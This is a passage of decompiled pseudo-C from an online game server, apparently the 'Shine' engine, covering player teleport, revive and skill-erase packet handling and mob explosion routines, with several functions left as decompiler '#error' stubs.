AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD : Packet Too Long", 4); } LABEL_11: --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"); } //----- (00515500) -------------------------------------------------------- #error "515500: undefined or illegal type '#325' (funcsize=69)" //----- (00515610) -------------------------------------------------------- #error "515610: undefined or illegal type '#325' (funcsize=50)" //----- (005156F0) -------------------------------------------------------- #error "5156F0: undefined or illegal type '#740' (funcsize=42)" //----- (005157B0) -------------------------------------------------------- #error "5157B0: undefined or illegal type '#325' (funcsize=42)" //----- (00515890) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(void *this, int idx, int targetpoint) { void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 char *v7; // eax@1 int v8; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1352))(v3); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)v4; *((_DWORD *)v6 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v4 + 12); v7 = gpp.pp_Buffer; v6[16] = 0; *(_WORD *)v7 = *(_WORD *)v7 & 0x3FF | 0x2400; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1160))(v3); (*(void (__thiscall **)(int, void *))(*(_DWORD *)v8 + 48))(v8, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"); } //----- (00515990) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_mobile_Teleport() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mobile_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_mobile_Teleport", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); } //----- (00515A30) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_mobile_Teleport(int Location) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mobile_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_mobile_Teleport", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); } //----- (00515AD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this) { void *v1; // esi@1 BlockDistribute::BlockingDistribute *v2; // ecx@1 SHINE_XY_TYPE loc; // [sp+4h] [bp-14h]@1 int v4; // [sp+14h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(BlockDistribute::BlockingDistribute **)(*(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 20) + 1068); v4 = 0; if ( BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(v2, &loc) ) (*(void (__thiscall **)(void *, SHINE_XY_TYPE *))(*(_DWORD *)v1 + 1668))(v1, &loc); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_Teleport"); } //----- (00515B90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_mobile_Teleport(int this, int Location) { char *v2; // eax@1 int v3; // esi@1 int v4; // ST08_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@1 int v7; // [sp+3Ch] [bp-4h]@1 v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8211; v3 = this; *((_WORD *)v2 + 1) = *(_WORD *)(this + 4); *((_DWORD *)v2 + 1) = *(_DWORD *)Location; *((_DWORD *)v2 + 2) = *(_DWORD *)(Location + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 12); v4 = *(_DWORD *)(v3 + 78); v7 = 0; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v5, v4, 0, 0, (int)&alchat, 0, 65535); ShineObjectClass::ShineObject::so_MoveTo(v3, *(_DWORD *)Location, *(_DWORD *)(Location + 4), 6); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2532))(v3); v7 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } // 43A170: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00515C50) -------------------------------------------------------- #error "515C50: undefined or illegal type '#325' (funcsize=56)" //----- (00515D30) -------------------------------------------------------- #error "515D30: undefined or illegal type '#740' (funcsize=50)" //----- (00515E00) -------------------------------------------------------- #error "515E00: undefined or illegal type '#740' (funcsize=194)" //----- (005160F0) -------------------------------------------------------- #error "5160F0: undefined or illegal type '#325' (funcsize=64)" //----- (00516200) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ReviveNow(void *this, unsigned __int16 healrate) { void *v2; // ebp@1 char v3; // cl@1 void *v4; // edi@1 int v5; // edi@2 int v6; // esi@3 int v7; // eax@3 char *v8; // esi@3 int v9; // eax@3 int v10; // eax@5 int v11; // eax@6 int v12; // eax@6 int v13; // edx@6 int v14; // edx@6 int v15; // edx@7 int v16; // eax@7 int v17; // edx@8 unsigned int v18; // ecx@8 char *v19; // edx@8 int v20; // eax@10 _DWORD *v21; // esi@12 int v22; // eax@12 int v23; // eax@14 int v24; // ST94_4@14 int v25; // eax@14 int v26; // edx@14 int v27; // eax@14 int v28; // ecx@15 int v29; // [sp+A0h] [bp-44h]@6 int v30; // [sp+A4h] [bp-40h]@14 int v31; // [sp+A8h] [bp-3Ch]@14 int v32; // [sp+ACh] [bp-38h]@14 ProtocolPacket *v33; // [sp+B0h] [bp-34h]@6 int v34; // [sp+B4h] [bp-30h]@3 FunctionEntarance _; // [sp+C8h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+CCh] [bp-18h]@6 int v37; // [sp+E0h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ReviveNow"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ReviveNow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ReviveNow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **((_BYTE **)v2 + 929) = 1; v3 = *((_BYTE *)v2 + 89071); v4 = (void *)(*(_DWORD *)((char *)v2 + 32010) + 29); v37 = 0; if ( v3 ) { memcpy(v4, (char *)v2 + 89024, 0x2Cu); v5 = (int)((char *)v4 + 44); *(_WORD *)v5 = *((_WORD *)v2 + 44534); *(_BYTE *)(v5 + 2) = *((_BYTE *)v2 + 89070); *((_BYTE *)v2 + 89071) = 0; } v6 = *(_DWORD *)v2; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); (*(void (__thiscall **)(void *, unsigned int))(v6 + 1232))(v2, (unsigned int)healrate * v7 / 0x3E8); v34 = (int)KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus; *((_BYTE *)v2 + 7116) = 0; ShineObjectClass::ShinePlayer::sp_KQElementFunction( v2, (int (__thiscall *)(KingdomQuest::KQPlayerInform *, unsigned int))v34); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18462; *(_DWORD *)(v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2); v34 = 10; *(_DWORD *)(v8 + 6) = v9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v34) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ReviveNow : Packet Too Long", 10); } *(_WORD *)v8 = 18463; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2); v34 = 12; v33 = &gpp; *((_DWORD *)v8 + 2) = v11; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, v33, v34); v29 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v37) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v12, v29, 0, 0, (int)&alchat, 0, 65535); v13 = *(_DWORD *)((char *)v2 + 98); *((_BYTE *)v2 + 23280) &= 0xF7u; (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v2 + 1528))( v2, v2, 291, 1, unk_61570C, clockwatch.cw_CurrTick, 0, -1, *(_WORD *)(*(_DWORD *)(v13 + 12) + 63), 10); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, 291); AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin((char *)v2 + 204, (#434 *)v2); v14 = *(_DWORD *)((char *)v2 + 32010); *((_BYTE *)v2 + 7116) = 0; *((_DWORD *)v2 + 1780) = 0; v14 += 80; *(_WORD *)v14 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v14 + 2) = byte_124D2542; if ( *((_DWORD *)v2 + 36) != 3 ) { v15 = *((_DWORD *)v2 + 35); *((_DWORD *)v2 + 42) = 0; *((_DWORD *)v2 + 43) = 0; *((_DWORD *)v2 + 44) = 0; *((_DWORD *)v2 + 45) = 0; *((_DWORD *)v2 + 46) = 0; *((_DWORD *)v2 + 37) = 0; *((_DWORD *)v2 + 36) = 0; v16 = *(_DWORD *)(v15 + 78); *((_DWORD *)v2 + 40) = *(_DWORD *)v16; *((_DWORD *)v2 + 41) = *(_DWORD *)(v16 + 4); } v17 = *(_DWORD *)v2; *((_WORD *)v2 + 51) = 0; *((_DWORD *)v2 + 1781) = 0; *((_DWORD *)v2 + 22242) = 7; *((_DWORD *)v2 + 22241) = 0; *((_DWORD *)v2 + 22284) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *((_DWORD *)v2 + 1843) = -1; v18 = clockwatch.cw_CurrTick; *((_DWORD *)v2 + 16500) = clockwatch.cw_CurrTick; *((_DWORD *)v2 + 16498) = v18; *((_DWORD *)v2 + 16501) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v2 + 16499) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_WORD *)v2 + 44953) = (*(int (__thiscall **)(void *))(v17 + 1280))(v2); *((_WORD *)v2 + 44954) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1284))(v2); v19 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *((_DWORD *)v2 + 22476); *((_WORD *)v19 + 2) = *((_WORD *)v2 + 44954); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 6); } *((_BYTE *)v2 + 7368) &= 0xFDu; *((_BYTE *)v2 + 91732) = 0; *((_DWORD *)v2 + 23031) = -1; ShineObjectClass::ShinePlayer::sp_LoginInit(v2); if ( (*((_BYTE *)v2 + 23300) & 0xF) == 2 ) { v21 = dword_615714[0]; (*(void (__thiscall **)(void *, void *, _DWORD, signed int, _DWORD *, unsigned int, _DWORD, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 1528))( v2, v2, *(_DWORD *)(*dword_615714[0] + 34), 1, dword_615714[0], clockwatch.cw_CurrTick, 0, -1, 1000000000, 0); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, *(_DWORD *)(*v21 + 34)); v22 = v21[11]; if ( v22 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v2 + 992))( v2, *(_DWORD *)(*v21 + 34), *(_DWORD *)(v22 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v2, *(_DWORD *)(*v21 + 34), *(_DWORD *)(v21[11] + 43), 1); } } v34 = 65535; v33 = 0; v29 = (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe; v23 = *(_DWORD *)((char *)v2 + 78); v30 = 0; v31 = 0; v24 = v23; v32 = 0; v25 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v25, v24, 0, 0, v29, v30, v31, v32, (int)v33, v34); v26 = *(_DWORD *)v2; v34 = 0; (*(void (__thiscall **)(void *, _DWORD))(v26 + 2792))(v2, 0); v27 = *(_DWORD *)((char *)v2 + 98); if ( v27 ) { v28 = *(_DWORD *)(v27 + 12); if ( v28 ) { if ( *(_BYTE *)(v28 + 54) == 1 && *(_DWORD *)(v27 + 60) == -1 ) ShineObjectClass::ShinePlayer::sp_2Roumen(v2); } } LOBYTE(v37) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ReviveNow"); } // 124D2540: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 124D2542: using guessed type char byte_124D2542; //----- (00516660) -------------------------------------------------------- #error "516660: undefined or illegal type '#325' (funcsize=33)" //----- (00516700) -------------------------------------------------------- #error "516700: undefined or illegal type '#434' (funcsize=263)" //----- (00516AA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 46097); if ( v2 < 0x80u && (v3 = 4 * v2 + 307173816, 4 * v2 != -307173816) ) { if ( *((_WORD *)v1 + 2) == queue_skillerase.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18469; *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_WORD *)v16 + 4) = *(_WORD *)(v3 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 10); } } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = DebugLogging::operator<<(&ChargedItemLog, "skillerase Null "); v15 = DebugLogging::operator<<(v14, v13); DebugLogging::operator<<(v15, &deb_LF); } } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "skillerase Null return "); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_5A4E3C); v9 = DebugLogging::operator<<(v8, v5); DebugLogging::operator<<(v9, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00516CE0) -------------------------------------------------------- #error "516CE0: undefined or illegal type '#325' (funcsize=56)" //----- (00516DC0) -------------------------------------------------------- void __thiscall CharacterPassiveList::cpl_UnLearn(CharacterPassiveList *this, unsigned __int16 skill) { CharacterPassiveList *v2; // ebp@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UnLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( skill >= 0x3E8u ) AssertClass::ac_AssertFail(&shineassert, "CharacterPassiveList::cpl_Store : Invalid passive", skill); if ( (unsigned __int8)(1 << skill % 8) & v2->cpl_Passive.bs_bitlist[skill / 8] && skill < v2->cpl_Passive.bs_maxbit ) v2->cpl_Passive.bs_bitlist[(unsigned int)skill >> 3] &= ~(1 << skill % 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); } //----- (00516EE0) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall ShineObjectClass::ShineServant::ss_ExplosionReady(ShineObjectClass::ShineServant *this) { ShineObjectClass::ShineServant *v1; // esi@1 int v2; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::ss_ExplosionReady"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::ss_ExplosionReady"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)&v1->gap0[8884]; v1->ss_NextExplosion = clockwatch.cw_CurrTick + 10 * *(_DWORD *)(v2 + 112) / 0x3E8u; v1->ss_RestExplosion = *(_WORD *)(v2 + 108); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineServant::ss_ExplosionReady"); return (MobExplosionElement::MobExplosionBase *)&mobexplosealways; } //----- (00516F70) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionBase::meb_Routine(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionBase::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionBase::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } // 609BC0: using guessed type int (__stdcall **mobexplosebase)(int mob); //----- (00516FC0) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionEnemy::meb_Routine(MobExplosionElement::MobExplosionEnemy *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 MobExplosionElement::MobExplosionBase *result; // eax@2 int v4; // ST0C_4@3 int v5; // ST08_4@3 int v6; // eax@3 MobExplosionElement::MobExplosionBase *v7; // eax@4 MobExplosionElement::MobExplosionBase *v8; // esi@4 int v9; // [sp+30h] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionEnemy::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (__thiscall **)(ShineObjectClass::ShineServant *))(*(_DWORD *)&mob->gap0[0] + 2388))(mob) ) { dword_124F19B0 = (int)mob; alnse.alns_bp = 0; v4 = *(_DWORD *)(v9 + 96); v5 = *(_DWORD *)&mob->gap0[78]; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(mob, v6, v5, v4, 0, (int)&alnse, 0, 65535); if ( AxialListNearScan::alns_GetNumber(&alnse) <= 0 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = v2; } else { v7 = ShineObjectClass::ShineServant::ss_ExplosionReady(mob); --funcallanalizer.fca_stackpoint; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = v8; } } else { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionEnemy::meb_Routine"); result = (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } return result; } // 609BC0: using guessed type int (__stdcall **mobexplosebase)(int mob); // 124F19B0: using guessed type int dword_124F19B0; //----- (00517120) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionTarget::meb_Routine(MobExplosionElement::MobExplosionTarget *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 int v3; // edx@1 int v5; // eax@3 int v6; // ebx@3 MobExplosionElement::MobExplosionBase *v7; // esi@9 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v9; // [sp+8h] [bp-8h]@2 int v10; // [sp+Ch] [bp-4h]@1 int v11; // [sp+18h] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; _.fe_FunctionCode = "MobExplosionElement::MobExplosionTarget::meb_Routine"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionTarget::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&mob->gap0[0]; v10 = 0; if ( !(*(int (__thiscall **)(ShineObjectClass::ShineServant *))(v3 + 2388))(mob) ) { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } v5 = (*(int (__thiscall **)(ShineObjectClass::ShineServant *))(*(_DWORD *)&mob->gap0[0] + 2884))(mob); v6 = v5; if ( !v5 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 768))(v5) || !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1136))(v6) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1136))(v6) == 3 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 40))(v6) ) { MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); } else { if ( ShineObjectClass::ShineObject::so_DistanceSquar((int)mob, v6) <= (unsigned int)(*(_DWORD *)(v11 + 96) * *(_DWORD *)(v11 + 96)) ) { v7 = ShineObjectClass::ShineServant::ss_ExplosionReady(mob); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); return v7; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionTarget::meb_Routine"); return v2; } // 609BC0: using guessed type int (__stdcall **mobexplosebase)(int mob); //----- (005172A0) -------------------------------------------------------- MobExplosionElement::MobExplosionBase *__thiscall MobExplosionElement::MobExplosionAlways::meb_Routine(MobExplosionElement::MobExplosionAlways *this, ShineObjectClass::ShineServant *mob) { MobExplosionElement::MobExplosionBase *v2; // edi@1 #740 *misctable; // [sp+1Ch] [bp+8h]@0 v2 = (MobExplosionElement::MobExplosionBase *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobExplosionElement::MobExplosionAlways::meb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&mob->gap0[0] + 2388))(mob) || mob->ss_RestExplosion <= 0 ) { LABEL_7: MobExplosionElement::MobExplosionBase::meb_Vanish(v2, (int)mob); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); return (MobExplosionElement::MobExplosionBase *)&mobexplosebase; } if ( mob->ss_NextExplosion <= clockwatch.cw_CurrTick ) { if ( MobExplosionElement::MobExplosionBase::meb_Explosion(v2, mob, misctable) ) --mob->ss_RestExplosion; if ( mob->ss_RestExplosion <= 0 ) goto LABEL_7; mob->ss_NextExplosion = clockwatch.cw_CurrTick + 10 * *(_DWORD *)(*(_DWORD *)&mob->gap0[8884] + 112) / 0x3E8u; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobExplosionElement::MobExplosionAlways::meb_Routine"); return v2; } // 609BC0: using guessed type int (__stdcall **mobexplosebase)(int mob); //----- (005173F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SkillShiftCancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_BYTE *)v1 + 7368) & 0x10 ) { 